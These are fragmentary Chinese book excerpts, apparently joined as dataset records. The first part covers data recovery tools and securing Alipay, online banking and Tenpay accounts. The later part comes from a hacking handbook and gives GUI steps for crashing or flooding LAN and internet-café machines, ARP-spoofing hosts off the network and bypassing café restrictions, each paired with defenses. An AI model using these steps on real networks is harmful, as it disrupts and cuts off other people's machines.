在Windows操作系统中，由于种种原因可能会导致一些重要的数据丢失，可能是由于中毒而造成数据的丢失，也可能是由于误删除而造成数据的丢失。当重要数据丢失后，用户可以使用一些常见的数据恢复软件来恢复这些数据。 16.3.1 利用FinalRecovery恢复误删除的数据 FinalRecovery是一款第三方软件，它是一个功能强大而且非常容易使用的数据恢复工具,支持FAT32和NTFS文件系统格式，可以快速找回被误删除的数据。该软件提供了两种恢复数据的模式，即标准恢复和高级恢复。不同的恢复模式能够恢复用不同方式删除的数据。 1.标准恢复 在“标准恢复”模式下，FinalRecovery将会执行一个快速扫描，并且可以恢复大多数被删除的数据。 STEP01：启动FinalRecovery STEP02：选择标准恢复 STEP03：选择要扫描的磁盘分区 提示：容量越大扫描时间越长 用户在选择待扫描的磁盘分区时要注意，所选磁盘的分区容量越大，则扫描的时间就越长。 STEP04：开始扫描 STEP05：恢复所选的文件 STEP06：单击“浏览”按钮 STEP07：选择保存位置 STEP08：单击“确定”按钮 STEP09：查看恢复的文件 打开STEP07中所设保存位置对应的窗口，可看见恢复的文件。 2.高级恢复 FinalRecovery的高级恢复可以从格式化的磁盘分区、被删除的磁盘分区中恢复文件，在该模式下扫描磁盘分区所花费的时间要比“标准恢复”模式长得多，但是采用“高级恢复”却可以恢复在“标准恢复”模式下无法扫描出的数据。 STEP01：选择高级恢复 STEP02：选择要扫描的磁盘分区 STEP03：选择扫描方式 STEP04：正在扫描磁盘分区 STEP05：选择NTFS条目 STEP06：恢复指定的文件 提示：切勿一次性恢复大于512MB的文件 在FinalRecovery中，如果想要恢复大量的文件，切勿一次性恢复，最佳的情况是每次选择不大于512M的内容进行恢复，否则，FinalRecovery可能会自动退出，也可能会提示内存出错。用户只能采取多次恢复的方式，一般情况下，恢复一个60G的硬盘得花3～4天的时间。 STEP07：单击“浏览”按钮 STEP08：设置恢复文件的保存位置 STEP09：确认所选择的保存位置 STEP10：查看恢复的文件 16.3.2 利用FINALDATA恢复误删除的数据 16.3.2 利用FINALDATA恢复误删除的数据 数据恢复工具FINALDATA以其强大、快速的恢复功能和简便易用的操作界面成为IT专业人士恢复数据的常用工具，当文件被删除、FAT表或磁盘根区被病毒侵蚀造成文件信息全部丢失的情况出现时，FINALDATA能够直接扫描目标磁盘，抽取并恢复文件。用户可以根据这些信息方便地查找和恢复自己需要的数据，甚至数据文件已经被部分覆盖后，FINALDATA仍然可以将其部分数据恢复到硬盘中。 STEP01：启动FINALDATA STEP02：恢复删除/丢失的文件 STEP03：恢复已删除的文件 STEP04：扫描指定的磁盘分区 STEP05：正在扫描磁盘分区 STEP06：单击“搜索/筛选”按钮 STEP07：设置文件类型和日期 STEP08：恢复指定的文件 STEP09：选择保存位置 STEP10：查看恢复的文件 第17章 加强网络支付工具的安全 第17章 加强网络支付工具的安全 随着网络技术的发展，在网上购物已经成为新型的购物方式。而与之对应的支付方式则需要采用专业的支付工具，如在淘宝网中购物就需要使用支付宝，在拍拍网中购物就需要使用财付通。除此之外，用户还可以使用网上银行直接进行支付。为了确保这些支付工具的安全，用户需要采取有效的措施，提高这些支付工具的安全系数。 知识要点 ·保障支付宝账户的安全 ·保障支付宝内资金的安全 ·使用电子口令卡保障账户安全 ·使用U盾保障账户安全 ·保障财付通账户的安全 ·保障财付通资金的安全"},
    {"text": "第17章 加强网络支付工具的安全 17.1 防御黑客入侵支付宝账户 支付宝是淘宝网上的商家为解决网络交易安全所设的一种支付工具，在淘宝网中购买商品时用户可以选择使用支付宝支付贷款。保障支付宝安全的问题主要包括保障支付宝账户安全和支付宝内资金的安全两个方面。 17.1.1 保障支付宝账户的安全 保障支付宝账户安全的常见措施主要有3种：定期修改登录密码，绑定手机和设置安全保护问题。用户可以选择任何一种方式来保障支付宝的安全。 1.定期修改登录密码 登录密码对于支付宝来说十分重要，只有准确地输入了登录密码，用户才能使用和设置支付宝账户。长时间使用单一的登录密码很可能会导致该密码被黑客破译，因此用户需要定期修改登录密码，防止密码被破译。 STEP01：打开支付宝首页 STEP02：输入账户名和密码 STEP03：单击“安全中心”链接 STEP04：选择修改登录密码 STEP05：输入当前密码和新密码 STEP06：密码修改成功 返回支付宝页面中，界面显示“密码修改成功！”信息，即成功修改登录密码。 2.绑定手机 支付宝提供了绑定手机的功能，用户可以将自己的支付宝账户绑定到手机上。只要将自己的支付宝账户与手机绑定，用户就可以使用手机随时随地修改密码。 STEP01：选择绑定手机 STEP02：输入手机号码 STEP03：输入支付密码和校验码 STEP04：手机绑定成功 提示：认识手机宝令 手机宝令是由支付宝推出的一款安装到手机客户端的安全认证产品，它提供了余额、快捷支付、确认收货等操作，在输入支付密码的同时输入动态口令进行验证，可确保您的账户资金更加安全。 3.重设安全保护问题 用户在申请支付宝账户时，可能会设置安全保护问题。这些安全保护问题虽然不常使用，但是仍然存在泄漏的危险。为了保护支付宝账户的安全，用户可以定期重设安全保护问题，建议每3个月重设一次安全保护问题。 STEP01：选择修改安全保护问题 STEP02：输入已设安全问题的答案 STEP03：重新设置安全问题和答案 STEP04：确认设置的安全保护问题 STEP05：成功设置安全保护问题 此时可在新的页面中看见“恭喜，您已成功设置安全保护问题”提示信息。 17.1.2 保障支付宝内资金的安全 17.1.2 保障支付宝内资金的安全 一般情况下，使用支付宝支付资金时，首先需要使用网上银行将资金存入支付宝账户中，然后才能使用支付宝支付。当支付宝账户中存有一定量的资金时，用户就要确保支付宝内资金的安全，以防资金被他人窃取。 1.定期修改支付密码 支付宝的支付密码与登录密码不同，登录密码是登录支付宝账户所输入的密码，而支付密码则是当用户支付账户内资金时需要输入的密码。一旦该密码被他人所知晓，则账户内的资金将会被他人转移。 STEP01：单击“安全中心”链接 STEP02：选择修改支付密码 STEP03：输入当前密码和新密码 STEP04：密码修改成功 跳转至新的页面，提示用户“密码修改成功”，即成功修改了支付密码。 2.开通手机动态口令 手机动态口令是支付宝推出的密码安全防护工具。用户在使用支付宝时，首先需要输入由手机动态口令在手机上的生成或者接收到的不停变化的随机密码。手机动态口令具有限制支付宝支付额度的功能，一旦超过该额度就要向手机发送校验码，并要求在付款时输入验证码，下面介绍开通手机动态口令的操作方法。 STEP01：选择开通手机动态口令 STEP02：开通手机动态口令 STEP03：设置支付宝支付密码 STEP04：确认开通 3.安装数字证书 数字证书是一种类似钥匙的软件，它主要用来增强账户的使用安全。它具有安全、保密和防篡改的特性。申请支付宝数字证书后，该证书将被安装在用户使用的计算机中，用户若要在其他计算机中使用支付宝，需要在所用计算机中再次安装数字证书。待使用完毕后需要在计算机中将本地证书的使用记录删除，以防别人盗用账号后使用资金。下面介绍安装数字证书的操作方法。 STEP01：选择申请数字证书 STEP02：选择安装数字证书控件 STEP03：选择运行数字证书控件 STEP04：正在下载数字证书控件 STEP05：选择安装组件 STEP06：正在安装组件 切换至新的界面，此时可看见安装组件的进度和详细信息，耐心等待。 STEP07：选择申请数字证书 STEP08：输入身份证号码 STEP09：输入校验码 STEP10：成功安装数字证书 跳转至新的页面，页面显示“恭喜您，数字证书已经安装成功”的提示信息，即成功开通数字证书。 17.2 防御黑客入侵网上银行 17.2 防御黑客入侵网上银行 网上银行是指银行通过Internet提供的一系列金融服务，有了它，用户在办理银行业务时，无须前往营业厅排队等候，只需登录网上银行即可立即办理。但是由于网络安全没有较为明确的法律规定，因此经常会有黑客盗取他人网上银行账号密码的情况发生。为了避免这种情况的发生，用户需要采取有效的措施，以防范黑客盗取个人网上银行的账户密码。 17.2.1 定期修改登录密码 登录个人网上银行需要输入登录密码，而该密码常常也备受黑客们的关注。黑客一旦破解该密码，就可能会盗取银行卡内的资金。因此用户需要定期修改登录密码，防范他人盗取。 STEP01：打开中国工商银行首页 STEP02：选择登录个人网上银行 STEP03：输入卡号和密码 STEP04：单击“确定”按钮 STEP05：完善个人信息 STEP06：单击“安全中心”选项 STEP07：选择修改密码 STEP08：修改密码"},
    {"text": "17.2.2 设置预留验证信息 17.2.2 设置预留验证信息 预留验证信息是中国工商银行为帮助用户有效识别银行网站、防范黑客利用假银行网站进行网上诈骗的一项服务。当用户登录中国工商银行个人网上银行并在购物网站上支付时，网页上会自动显示预留的验证信息，以便验证当前网站是否为真实的工商银行网站。 STEP01：选择修改预留验证信息 STEP02：输入新的预留验证信息 STEP03：确认新的预留验证信息 STEP04：成功设置预留验证信息 提示：设置预留验证信息需注意的事项 设置预留验证信息时，预留验证信息的内容可以是任意的汉字、英文字母或符号，长度不超过60个字符即可。 17.2.3 使用“小e安全检测”系统 17.2.3 使用“小e安全检测”系统 “小e安全检测”是中国工商银行为用户提供的安全工具，该软件可以协助用户在线查杀可能影响用户安全使用网上银行的计算机间谍软件，用户可自愿选择此项免费服务。 STEP01：单击“安全提示”链接 STEP02：选择“小e安全检测” STEP03：选择下载“小e安全检测” STEP04：选择接受“小e安全检测” STEP05：选择安装加载项 STEP06：下载引擎和病毒码 STEP07：选择开始检测 STEP08：正在扫描恶意软件 STEP09：完成检测 提示：“小e安全检测”不能视为杀毒软件 “小e安全检测”虽然能够检测系统中的间谍软件和系统漏洞，但是它不是一款杀毒软件，用户不能将它作为杀毒软件来保护自己的系统。 17.2.4 安装防钓鱼安全控件 17.2.4 安装防钓鱼安全控件 为了防止中国工商银行用户遭受钓鱼网站的欺骗，该银行提供了防钓鱼安全控件，安装了该控件便可帮助用户防范假冒的工商银行网站。下面介绍安装控件的操作方法。 STEP01：选择防钓鱼安全控件 STEP02：选择下载防钓鱼安全控件 STEP03：单击“运行”按钮 STEP04：正在下载控件 切换至新的界面，此时可看见控件下载的进度，耐心等待。 STEP05：选择运行控件 STEP06：单击“下一步”按钮 STEP07：选择安装文件夹 STEP08：开始安装 STEP09：正在安装控件 此时可在界面中看见防钓鱼软件控件的安装进度，耐心等待。 STEP10：安装完毕 17.2.5 使用电子口令卡保障账户安全 17.2.5 使用电子口令卡保障账户安全 电子银行口令卡是中国工商银行推出的一款全新的电子银行安全工具，它是一种具有矩阵形式、印有若干字符串的卡片，每个字符串对应一个唯一的坐标。当用户在使用中国工商银行电子银行相关功能时，按照系统指定的坐标，将卡片上对应的字符串作为密码输入，系统将校验密码字符的正确性。该卡片能够保障用户在网上银行的资金安全。 电子银行口令卡能够确保交易安全的功能，它可以有效地防止黑客通过虚假网站、木马、病毒等手段窃取密码，从而保障交易安全。另外，该口令卡一次一密，安全可靠。网页每次以随机方式指定若干坐标，使用户每次使用的密码都具有动态变化性和不可预知性。 17.2.6 使用工行U盾保障账户安全 17.2.6 使用工行U盾保障账户安全 工行U盾是中国工商银行为用户提供的办理网上银行业务的高级别安全工具，它是用于网上银行电子签名和数字认证的工具。U盾内置了微型智能卡处理器，采用1024位非对称密钥算法对网上数据进行加密、解密和数字签名，确保网上交易的保密性、真实性、完整性和不可否认性。 当用户在办理网上银行业务时，使用U盾既可以有效防范黑客、假网站、木马病毒等各种风险，保障交易安全，又可以轻松实现网上大额转账、汇款、缴费和购物等操作。除此之外，用户还可以将工行U盾与支付宝账号绑定，利用U盾对登录支付宝的操作进行身份认证，从而保障用户支付宝账户中的资金安全。"},
    {"text": "17.3 防御黑客入侵财付通 17.3 防御黑客入侵财付通 财付通是腾讯公司推出的在线支付工具，它与支付宝有着类似之处。淘宝网与支付宝相对应，而拍拍网与财付通相对应。由于在拍拍网中购买商品的人越来越多，因此在拍拍网中购买商品的人要保障财付通的安全，防止黑客入侵。 17.3.1 保障财付通账户的安全 为了保障财付通账户的安全，用户需要采取有效的措施。常用的保障措施主要包括绑定手机，设置二次登录密码和启用实名认证。 1.绑定手机 财付通提供了绑定手机的功能，一旦将手机与财付通进行了绑定，便可在手机中随时随地修改密码。下面介绍绑定手机的具体操作。 STEP01：打开拍拍网首页 STEP02：单击“我的拍拍”链接 STEP03：输入QQ账号和密码 STEP04：单击“我的财付通”链接 STEP05：选择“安全中心”选项 STEP06：选择启用绑定手机 STEP07：输入手机号码和支付密码 STEP08：输入手机接收的验证码 STEP09：绑定成功 STEP10：查看已启用的保护 2.设置二次登录密码 在财付通中，二次登录密码是与登录密码相对应的，一旦设置了二次登录密码，用户在登录财付通时，就需要输入登录密码和二次登录密码，这种登录方式能够有效地保证账户的安全。 STEP01：选择启用二次登录密码 STEP02：选择立即启用二次登录密码 STEP03：输入手机号码和验证码 STEP04：设置二次登录密码 STEP05：成功启用二次登录密码 切换至新的界面，提示“二次登录密码启用成功”，单击“确定”按钮即可。 提示：设置二次登录密码的注意事项 设置二次登录密码时一定要注意，切勿将二次登录密码设置为登录密码相同，以防止黑客轻松破译财付通账户。 3.定期修改登录密码 使用财付通时，若长时间使用同一个的登录密码，容易导致该账户被黑客破译。为了避免此种情况发生，用户需要定期修改登录密码，建议每3个月修改一次密码。 STEP01：单击“安全中心”选项 STEP02：单击“修改”按钮 STEP03：选择使用密保工具修改密码 STEP04：输入密保问题及答案 STEP05：输入新密码和验证码 STEP06：密码修改成功 跳转至新的页面，提示用户密码修改成功，即成功修改登录密码。 17.3.2 保障财付通资金的安全 17.3.2 保障财付通资金的安全 当财付通账户内存有资金时，则用户需要采用有效的措施保障财付通资金的安全。常用的有效措施包括启用数字证书和定期修改支付密码。 1.启用数字证书 在财付通中，数字证书是用于保护账户内资金的安全工具。只有在财付通账户中安装了数字证书，才能够保证账户内的资金安全。启用数字证书后，只有在安装了数字证书的计算机中才能使用财付通进行支付、充值或提现操作。 STEP01：选择启用数字证书 STEP02：申请安装数字证书 STEP03：输入手机号码和设置地点 STEP04：输入验证码 STEP05：下载并安装数字证书 界面提示用户“资料验证成功，正在下载并安装数字证书”，耐心等待。 STEP06：安装成功 2.定期修改支付密码 用户在使用财付通进行支付、充值和提现操作时，需要输入支付密码才能使操作成功。为了保障个人账户内的资金安全，用户需要定期修改支付密码。 STEP01：单击“安全中心”选项 STEP02：选择支付密码 STEP03：选择修改支付密码 提示：设置支付密码需要注意的事项 设置财付通支付密码时一定要注意，切勿将支付密码设置为与登录密码相同，以防止黑客轻松盗取账户内的资金。 STEP04：设置新的支付密码 STEP05：支付密码修改成功 提示：找回财付通的支付密码 当财付通个人账户的支付密码被黑客盗取后，用户如果将该账户与手机进行了绑定，则可以选择利用手机号码找回支付密码。具体的操作为：按照17.3.2节第2点STEP01～STEP03介绍的方法打开设置支付密码的页面，A在页面中单击“找回支付密码”链接，跳转至新的页面，B选择用手机找回支付密码，C单击“下一步”按钮，跳转至新的页面，D输入当前绑定的手机号码，E然后输入验证码，并设置新支付密码，F输入完毕后单击“确认”按钮即可完成支付密码的修改。 无标题文档 光盘内容 光盘下载地址：http://pan.baidu.com/s/1gdoYbFd"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.10 小结 本章介绍了 8 个常用的扫描器，排在第一位的是被称为“扫描器之王”的 Nmap，这款扫描器具有踩点初期进行信息搜集所需的几乎所有功能，且结果较其他扫描器更为准确，扫描过程更为隐蔽。Foundstone公司推出的Superscan扫描器和Fscan扫描器功能相差不多，可看做是同一款扫描器的GUI和CMD两个版本。S扫描器是国内黑客界经常使用的经典端口扫描器，本章介绍了S扫描器的GUI和CMD几个不同版本，读者可选择使用。黑客之路扫描器扫描速度很快，是国内端口扫描器中不可多得的精品。对本地端口进行查看是黑客经常需要进行的动作，笔者首先介绍了两款本地端口查看器，和可完成此项功能的网络命令。 本章最后还介绍了如何利用网络命令进行端口扫描，如果要对某台主机的少数端口进行探测，可以利用介绍的这些批处理命令来完成。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 8.3 局域网攻击剖析及防范 8.3.1 局域网攻击剖析 如果黑客是网吧或者是内网中的用户，当发动进攻时，通常都会使用局域网攻击器。 下面将剖析三款针对局域网的攻击工具。"},
    {"text": "一般的网吧或者局域网的IP地址都是有规则的，IP地址的最后一个数一般都是相应机器的号码，前面的几位和自己的IP地址是相同的，只需灵活变换最后一位即可。"},
    {"text": "单击“开始→运行”，输入cmd，进入“命令提示符”界面； 如果网吧有限制，黑客通常在桌面上新建一个文本文件，内容为cmd.exe，然后另存为cmd.bat，双击运行后就可以进入“命令提示符”界面。 突破网吧限制的方法很多，用户可以用自己习惯的方法，在“命令提示符”文本框中输入命令“ipconfig/all”，就可以得到自己的IP地址， IP Address后面对应的就是IP地址，比如作者的IP地址是：192.168.0.120，如图8-40所示。 图8-40 查看本地IP地址 2.攻击剖析 如果黑客的攻击目标是网吧中为50号的计算机用户（举个例子），只需在“目标IP”框中填写：192.168.0.50即可（只是针对我这里的情况，读者具体情况具体分析），然后单击“炸死他”按钮，估计用不了多久就会死机，如图8-41所示。"},
    {"text": "在图8-43 所示的界面中，在“Target IP”后面填写被攻击方的IP 地址，“Size”后面填写数据包大小，“Times”后面写入发动攻击时间，然后单击“NUKE!”按钮，开始发动攻击，如图8-44所示。"},
    {"text": "在IP地址栏中填写被攻击方IP地址的范围（比如192.168.0.50、192.168.0.100），其他的内容可使用默认值即可，单击“SEND”按钮开始攻击，如图8-47所示。 图8-46 “DSEngine”主界面 图8-47 “工具设置”界面 注意：如果只想攻击一台计算机，只需在填写IP地址的两个文本框中填写相同的IP地址即可。 8.3.2 局域网攻击器的防范 从上述内容中不难发现，3 种局域网攻击器都有一个统一的特点，就是在短时间内通过发送大量的数据包来达到阻塞目标主机端口的目的。 防御方法也很简单，就是通过安装防火墙，阻断来路不明的、未经许可的数据包即可，防火墙的使用方法在后续章节中将有详细介绍。"},
    {"text": "“网络执法官”是一款局域网管理辅助软件，采用网络底层协议，能穿透各客户端防火墙，对网络中的每一台主机（主机指各种计算机、交换机配有IP地址的网络设备）进行监控。"},
    {"text": "软件不必运行于指定的服务器，在局域网内任一台计算机上运行即可有效地监控所有本机连接到的网络（支持多网段监控），主要功能如下。 ● 实时记录上线用户并存档以备查网络中任一台主机，开机即会被本软件实时检测并记录其网卡号、所用的IP地址、上线时间、下线时间等信息，该信息自动永久保存，可供查询，并支持模糊查询。 利用此功能，管理员随时可以知道当前或以前任一时刻任一台主机是否开机、开机时间，使用的IP地址、主机名等重要信息；"},
    {"text": "● 自动侦测未登记主机接入并报警，管理员登记完或软件自动检测到所有合法的主机后，可在软件中作出设定，拒绝所有未登记的主机接入网络。 一旦有未登记主机接入网络，软件会自动将其MAC、IP、主机名、上下线时段等信息进行永久记录，并可采用声音或向指定主机发送消息等多种方式报警。"},
    {"text": "还可以根据管理员的设定，自动对该主机采取 IP 冲突、与关键主机隔离、与网络中所有其他主机隔离等控制措施。 ● 限定各主机的IP 地址，防止IP 地址被盗用。 管理员可对每台主机指定一个IP 地址或一段IP地址，当该主机采用超出范围的IP地址时，软件会判定其为“非法用户”，自动采用管理员预先指定的方式对其进行控制，并将其MAC、IP、主机名进行永久记录以供备查。 管理员可预先指定对非法用户实行IP地址冲突、与关键主机隔离、与其他所有主机隔离等管理方式。"},
    {"text": "管理员可指定每台主机在每天中允许与网络连接的时段或不允许与网络连接的时段（可指定两个时段允许与网络连接），并可指定每一用户是否被允许在每个星期的某一天与网络连接。"},
    {"text": "总之，此软件的主要功能是依据管理员为各主机限定的权限，实时监控整个局域网，并自动对非法用户进行管理。 可将非法用户与网络中某些主机或整个网络隔离，而且无论局域网中的主机运行何种防火墙，都不能逃避监控，也不会引发防火墙警告，提高了网络安全性。 管理员只需依据实际情况，设置各主机的权限及违反权限后的管理方式，即可实现某些具体的功能，如禁止某些主机在指定的时段访问外网或彻底禁止某些主机访问外网； 保护网络中关键主机，只允许指定的主机访问，等等。 从上面介绍中我们可以看出，这是一款网络管理员的监控软件，虽然一些心存恶意的黑客并不是网管员，但是他们依然可以控制所在的局域网。"},
    {"text": "程序安装成功后，单击“关闭”按钮，程序会自动询问是否安装WinPcap软件，如图8-52和图8-53所示。 图8-52 安装完成 图8-53 WinPcap 安装 ● 步骤5。 根据自己的实际情况，在图8-53所示的界面中选择是否安装，我们这里单击“安装”按钮，弹出如图8-54所示的界面。"},
    {"text": "双击打开“网络执法官”软件，如图8-57，之后会弹出提示信息，如图8-58所示。 图8-57 “网络执法官”主程序 图8-58 提示信息 ● 步骤2。"},
    {"text": "需要在此对话框中选择本地的网卡以及所监控网段信息等，然后单击“添加/修改”按钮，相应的网段就会添加到对话框下方的列表中，如图8-60所示。 图8-59 “监控范围选择”对话框 图8-60 设置监控范围 ● 步骤3。 在图8-60所示的对话框中，双击相应的监控网段，之后主程序就会显示出当前局域网中的在线用户，如图8-61所示。"},
    {"text": "在相应的IP地址上单击鼠标右键，然后选择“权限设置”选项，如图8-62所示（图中画圈），之后弹出“用户权限设置”对话框，如图8-63所示。 图8-62 选择“权限设置”选项 图8-63 “用户权限设置”对话框 ● 步骤2。 在图8-63所示的界面中，在“管理方式”一栏中的“IP冲突”与“断开与所有主机TCP/IP连接（与本机连接不会断开）”前的复选框中打钩，单击“保存”按钮。"},
    {"text": "6.“网络执法官”软件的工作原理 “网络执法官”软件是通过反复向网络中的所有主机发送关于被攻击主机的ARP reply，让所有主机获得一个被攻击主机的虚假 MAC 地址； 同时，反复地向被攻击主机发送网络中所有主机（含网关）的ARP reply，让目的主机获得所有主机的错误 MAC 地址，这样一来，域中的其他计算机和网关所知道的是受攻击主机的虚假 MAC 地址，与此同时，受攻击主机所得到的是虚假的网关以及域中其他计算机的 MAC 信息，这造成了“互不相识”的局面。"},
    {"text": "打开“本地连接”的属性窗口，在“常规”标签中单击“配置”按钮，将打开的窗口再切换到“高级”标签，并在“属性”列表中选择“Network Address”，在右侧的值域中指定一个值，如图8-66所示。 这里填的值为网卡的MAC地址就行了。 保存设置之后将网卡禁用后再重新启用，这样您会发现不再有IP地址冲突的提示了。"},
    {"text": "图8-66 设置IP 和MAC 绑定 其实“网络执法官”软件自身还有一个功能，就是能够找出恶意破坏者。 首先需要安装“网络执法官”软件，当遭受攻击时，只需打开程序“系统”菜单下的“查看日志”选项，就可以找出攻击来自哪一个IP地址，并根据这个IP地址找出攻击者的具体位置，如图8-67所示。 图8-67 “查看日志”界面 8.3.5 巧用聚生网管 “聚生网管”软件和上面所介绍的“网络执法官”软件类似，但是也有其自身特有的功能。"},
    {"text": "● 流速（带宽）管理：系统可以查看、控制局域网中任意主机的上、下行带宽，并可对主机报文进行分析。 ● 流量管理：系统可以控制局域网中任意主机的上、下行流量和总流量。"},
    {"text": "通过ACL规则，您可以设置包括IP源地址、IP目标地址、协议号（TCP/UDP）、端口范围等参数的规则，系统将自动拦截符合规则的数据报文。 通过使用ACL规则，您可以轻松地实现控制功能的灵活扩展，借助于ACL规则，您可以屏蔽任何网络游戏。"},
    {"text": "● 网络流量统计及实时流速统计：系统可以实时显示局域网中所有主机的流速（包括表格和柱状图），可以显示局域网所有主机在某一段时间内的流速统计（包括表格和柱状图）；"},
    {"text": "系统提供了所有主机的日流量汇总统计功能（包括上行、下行、总量）； 系统提供了所有主机的月流量汇总统计功能（包括上行、下行、总量）。"},
    {"text": "双击运行“聚生网管”安装程序，准备开始安装，如图8-68和图8-69所示。 图8-68 “聚生网管”安装程序 图8-69 “许可证协议”界面 ● 步骤2。"},
    {"text": "弹出提示安装WinPcap软件对话框，如图8-73所示。 图8-70 “选定安装位置”对话框 图8-71 选择安装路径 图8-72 安装进度 图8-73 提示安装WinPcap（1） ● 步骤4。 接着单击两次“Next”按钮，完成WinPcap的安装，如图8-74、图8-75和图8-76所示。 图8-74 WinPcap 安装过程（2） 图8-75 WinPcap 安装过程（3） 图8-76 WinPcap 安装过程（4） 经过上述4步，“聚生网管”软件已经安装在用户计算机中了，下面将详细介绍其使用方法。"},
    {"text": "在图8-78所示的界面中单击“新建监控网段”按钮，在弹出的“监控网段”配置对话框中根据自己的情况进行网卡选择等操作，如图8-79和图8-80所示。 图8-79 “选择网卡”对话框 图8-80 选择公网出入接口 ● 步骤3。 配置完成之后便进入监控主界面，单击“启动网络控制服务”按钮开始网络控制服务，如图8-81（画圈）所示。 图8-81 启动网络控制服务 ● 步骤4。"},
    {"text": "在“聚生网管”界面左侧点选“网络主机扫描”按钮，软件将自动扫描同一内网的在线主机，并列举相应的IP地址以及MAC地址信息，如图8-83所示。 图8-82 网络流量实时图 图8-83 在线计算机的IP 地址信息 在对“聚生网管”软件有一个大概了解的前提下，下面以实战的方式为读者深入讲解“聚生网管”软件的其他功能。"},
    {"text": "强制掉线 在图8-84所示的界面中如果发现局域网中有人正在大量使用网络资源，可以通过发送信息的方式，提醒对方不要使用大流量软件，或者强制使对方掉线。"},
    {"text": "在软件界面左侧选择“控制策略设置”选项，并且单击“新建策略”按钮，打开策略编辑对话框，如图8-86所示。 图8-86 “新建策略”选项 ● 步骤2。"},
    {"text": "在图8-86所示的界面中，可以限制局域网中的其他机器不能使用BT下载等功能，也可以限制使用QQ等通信工具，还可以做其他的限制，比如流量限制、下载限制等，如图8-87和图8-88所示。"},
    {"text": "图8-89 指派策略界面（1） 图8-90 指派策略界面（2） 1.网络安全管理 为了防止局域网中的计算机遭受类似的攻击，根据第6章的学习，可以启用IP-MAC绑定。"},
    {"text": "图8-91 IP-MAC 绑定界面 2.网络实用管理工具 在“网络实用工具”功能中，我们可以检测使用恶意软件的计算机并对其进行记录，如图8-92所示。"},
    {"text": "图8-92 网络实用工具界面 通过学习，在掌握了本软件的基本使用方法之后，我们也可以认识到，这本是一款优秀的网络管理软件，如果是网管员进行使用，它能维护网络的良好环境；"},
    {"text": "8.3.6 网吧当机王剖析 “网吧当机王”软件是由作者的好友Lenk使用Delphi编写的，软件是根据MS06007漏洞所写，主要针对安全意识不强的个人或者团体。"},
    {"text": "● Microsoft Windows XP Professional x64 Edition ； ● Microsoft Windows Server 2003 和 Microsoft Windows Server 2003 Service Pack 1； ● Microsoft Windows Server 2003（用于基于 Itanium 的系统）和 Microsoft Windows Server 2003 SP1（用于基于 Itanium 的系统）； ● Microsoft Windows Server 2003 x64 Edition。"},
    {"text": "首先填入“本机IP”，然后在“范围”中填写攻击目标的IP地址范围，在“排除自身”和“毁灭打击”复选框前打钩，单击“开始”按钮即可，如图8-94所示。"},
    {"text": "8.3.7 防御网吧当机王 由于程序是利用微软的MS06007漏洞所编写，为了避免遭受类似的攻击，只需去微软官方网站下载相应的补丁并安装即可。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 2.2 扫描器的概念和分类 扫描技术是一种基于 Internet 远程检测目标网络或本地主机安全性脆弱点的技术。 扫描器则是自动检测远程或本地主机安全性弱点的程序。 通过网络安全扫描，系统管理员能够发现所维护的网络设备的各种 TCP/IP 端口的分配、开放的服务、Web 服务软件版本和这些服务及软件呈现在 Internet 上的安全漏洞。 网络安全扫描技术与防火墙、安全监控系统互相配合就能为网络提供很高的安全性。 扫描器是把双刃剑，不同的人使用会有不同的结果，系统管理员或网络管理员使用扫描器可以增强系统安全性，黑客使用扫描器则是入侵的前奏，用来寻找攻击的进入点。"},
    {"text": "对扫描器的分类有多种方法，常见的有根据扫描过程、扫描目的进行分类的和根据扫描技术进行分类的。 2.2.1 按扫描过程分类 按扫描过程、扫描目的进行分析，一次完整的扫描基本可以分为3个阶段。"},
    {"text": "（1）确定对方主机是否在线。 （2）判断对方主机的操作系统，所开放的服务及这些服务的端口。 （3）根据第（2）步扫描的结果，探测对方主机存在的漏洞。"},
    {"text": "主机中每个需连接到网络的应用程序，都被赋予在该机上的唯一端口，当任何连接请求到达该端口时，对应的应用程序的通信数据就被发送出去。"},
    {"text": "通过向目标主机的TCP/IP服务端口发送探测数据包，并记录目标主机的响应，通过分析响应来判断服务端口是打开还是关闭，就可以得知端口提供的服务和信息。"},
    {"text": "首先进行主机存活扫描和端口扫描，最后才根据前两项扫描结果进行漏洞扫描。 在端口扫描结束后得知目标主机开启的端口以及端口上的网络服务，将这些相关信息与网络漏洞扫描系统提供的漏洞库进行匹配，查看是否有满足匹配条件的漏洞存在； 通过模拟黑客的攻击手法，对目标主机系统进行攻击性的安全漏洞扫描，如测试弱口令等。 若模拟攻击成功，则表明目标主机系统存在安全漏洞。"},
    {"text": "漏洞扫描器较多地应用了插件技术，插件是由脚本语言编写的子程序，扫描程序可以通过调用它来执行漏洞扫描，检测出系统中存在的一个或多个漏洞。 这种技术使漏洞扫描软件的升级维护变得相对简单，而专用脚本语言的使用也简化了编写新插件的编程工作，使漏洞扫描软件具有更强的扩展性。"},
    {"text": "2.2.2 按扫描技术分类 安全扫描技术主要分为两类：主机安全扫描技术和网络安全扫描技术。 网络安全扫描技术主要针对系统中不合适的设置脆弱的口令，以及针对其他同安全规则相抵触的对象进行检查等； 而主机安全扫描技术则是通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应，从而发现其中的漏洞。 根据扫描技术可以将扫描器概括地分为基于主机的和基于网络的两种，前者主要关注软件所在主机上的风险漏洞，而后者则是通过网络远程探测其他主机的安全风险漏洞。 在扫描技术发展的历史过程中，先后出现各种类型的几十种扫描探测技术，这些扫描既有为确定主机存活而进行的扫描，也有为确定目标开放而进行的探测，还有为确定操作系统而进行的扫描，但这些扫描技术都有一个共同的特点：基于 TCP、UDP、ICMP、ARP 等协议的报文格式及其返回值，下面将介绍一些常见的扫描技术。"},
    {"text": "因为这种扫描方式是通过正常的TCP协议进行网络连接的，服务器会留下记录，因此进行隐蔽扫描时一般不采用这种方式。 但由于这种扫描方式是正常的 TCP connect() 连接，易于实现，多数扫描器内置了这种扫描技术，这种扫描通常结果更为准确。"},
    {"text": "客户端向目标端口发送SYN包，如果返回SYN/ACK包，则说明目标端口是开放的，如果客户端收到的是RST/ACK包，则说明目标端口未开放。"},
    {"text": "这种扫描的好处是隐蔽，服务器不会留下日志记录，缺点是操作者需具有管理员权限（因为要定制自己的TCP报头），对于UNIX操作系统用户可能有一定限制，对于Windows操作系统用户则影响不大。"},
